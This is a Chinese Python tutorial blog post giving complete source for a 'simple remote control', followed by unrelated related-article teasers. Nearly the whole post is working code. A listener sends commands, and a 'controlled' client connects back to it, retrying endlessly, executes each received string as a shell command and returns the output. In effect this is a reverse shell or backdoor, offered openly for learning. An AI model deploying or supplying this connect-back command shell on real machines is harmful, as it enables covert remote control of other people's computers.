python简易远程控制单线程版

yipeiwu_com5年前Python基础

本文实例为大家分享了python简易远程控制的具体代码,供大家参考,具体内容如下

1. 技术:管道通信,流文件处理,socket基础

2. Tips:

默认IP:127.0.0.1

默认端口:7676

3. 代码样例:

服务端:

#!/usr/bin/env python  
# encoding: utf-8  
 
import socket 
import sys 
from os import * 
 
reload(sys)  
sys.setdefaultencoding("utf-8")  
 
def socketInit(): 
  s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
  return s 
 
def socketDeal(s,HOST,PORT): 
  s.bind((HOST,PORT)) 
  s.listen(1) 
 
def ControlModule(sS,addr): 
  recv_buffer = sS.recv(20048) 
  if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF": 
    print recv_buffer 
    sys.exit(0) 
  else: 
    print recv_buffer 
  send_buf = raw_input(addr[0]+">") 
  sS.send(send_buf) 
 
 
def main(): 
  HOST = "127.0.0.1" 
  PORT = 7676 
  s = socketInit() 
  socketDeal(s, HOST, PORT) 
  sS,addr = s.accept() 
  print "Connect from " + addr[0] + ":" + repr(addr[1]) 
  try: 
    while True: 
      ControlModule(sS,addr) 
  except Exception as e: 
    print "[-]Connect Error" 
    sS.close() 
    s.close() 
    sys.exit(-1) 
  except KeyboardInterrupt: 
    sS.close() 
    s.close() 
    sys.exit(0) 
 
if __name__ == '__main__': 
  main() 

受控端:

#!/usr/bin/env python  
# encoding: utf-8  
 
import socket 
import sys 
import re 
import traceback 
import tempfile 
from os import * 
from subprocess import * 
 
reload(sys)  
sys.setdefaultencoding("utf-8")  
 
def socketInit(): 
  s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
  return s 
 
def socketConn(s,HOST,PORT): 
  while True: 
    try: 
      s.connect((HOST,PORT)) 
    except Exception as e: 
      continue 
    else: 
      s.send("Welcome Sir ~") 
      break 
 
 
def String_Deal(recv,send): 
  P_str = re.findall("cd(.*)|(\w):", recv) 
  if P_str!=[] and send == "": 
    if P_str[0][0]!="": 
      try: 
        chdir(P_str[0][0].strip()) 
      except Exception as e: 
        flag = -1 
      else: 
        flag = 1 
    else: 
      try: 
        chdir(recv) 
      except Exception as e: 
        #traceback.print_exc() 
        flag = -1 
      else: 
        flag = 1 
  else: 
    if send == "": 
      flag = 1 
    else: 
      flag = 0 
  return flag 
 
def OpenProcess(s): 
  try: 
    while True: 
      recv_buf = s.recv(2048) 
      #流文件技术,防止管道阻塞 
      out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000) 
      fileNo = out_temp.fileno() 
      cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT) 
      cmd.wait() 
      out_temp.seek(0) 
      send_buf = out_temp.read() 
      #print len(send_buf) 
      #输入命令字符串处理识别 
      flag = String_Deal(recv_buf,send_buf) 
      if flag == 1: 
        s.send("OK") 
      elif flag == -1: 
        s.send("Error!!") 
      else: 
        s.send(send_buf) 
      send_buf = "" 
  except Exception as e: 
    try: 
      s.send("[-]Error:Server is OFF") 
    except Exception as e: 
      pass 
      s.close() 
    sys.exit(-1)     
  except KeyboardInterrupt: 
    try: 
      s.send("[*]Server is OFF") 
    except Exception as e: 
      pass 
    s.close() 
    sys.exit(0)  
def main(): 
  flag = 0 
  HOST = "127.0.0.1" 
  PORT = 7676 
  s = socketInit() 
  socketConn(s, HOST, PORT) 
  OpenProcess(s) 
 
 
if __name__ == '__main__': 
  main() 

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持【听图阁-专注于Python设计】。

相关文章

python读取有密码的zip压缩文件实例

python读取有密码的zip压缩文件实例

今天试了一下用zipfile模块读取有密码的zip压缩文件。 今天用winrar 5.6将一个名字为1.xlsx的excel文件打包成1.zip压缩包。采用默认的压缩算法(没有勾选传统加...

Python实现压缩和解压缩ZIP文件的方法分析

本文实例讲述了Python实现压缩和解压缩ZIP文件的方法。分享给大家供大家参考,具体如下: 有时我们需要在 Python 中使用 zip 文件,而在1.6版中,Python 就已经提供...

Python如何实现转换URL详解

Python如何实现转换URL详解

设计一个算法,将URL转换成5部分,分别是:schema、netloc、path、query_params、fragment。 问题 URL的中文名叫统一资源定位符,就是咱们常说的网址...

Python 依赖库太多了该如何管理

Python 依赖库太多了该如何管理

在 Python 的项目中,如何管理所用的全部依赖库呢?最主流的做法是维护一份“requirements.txt”,记录下依赖库的名字及其版本号。 那么,如何来生成这份文件呢?在上篇文章...

python 应用之Pycharm 新建模板默认添加编码格式-作者-时间等信息【推荐】

python 应用之Pycharm 新建模板默认添加编码格式-作者-时间等信息【推荐】

在pycharm使用过程中,对于每次新建文件的编码格式和关于代码编写者的一些个人信息快捷填写,方法如下: 1.打开pycharm,选择File-Settings(Ctrl + Alt +...